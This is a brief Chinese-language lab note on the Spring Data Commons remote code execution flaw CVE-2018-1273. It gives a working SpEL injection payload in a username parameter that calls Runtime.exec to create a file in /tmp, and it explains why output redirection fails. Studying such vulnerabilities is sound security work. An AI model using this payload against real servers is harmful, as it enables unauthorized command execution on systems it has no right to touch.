Spring Data Commons远程RCE(CVE-2018-1273)

Spring Data Command

利用Java的反射机制对username这个类进行获取,然后利用这个类进行命令执行,主要的点在于

1
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=

界面

抓包

结果

尝试过命令输出重定向,但是失败了。原因是因为java的getruntime().exec()执行命令时并不会将命令输出及相关内容重定向,只有一个单纯的执行一条命令的功能。命令执行权限为运行服务器的用户权限执行。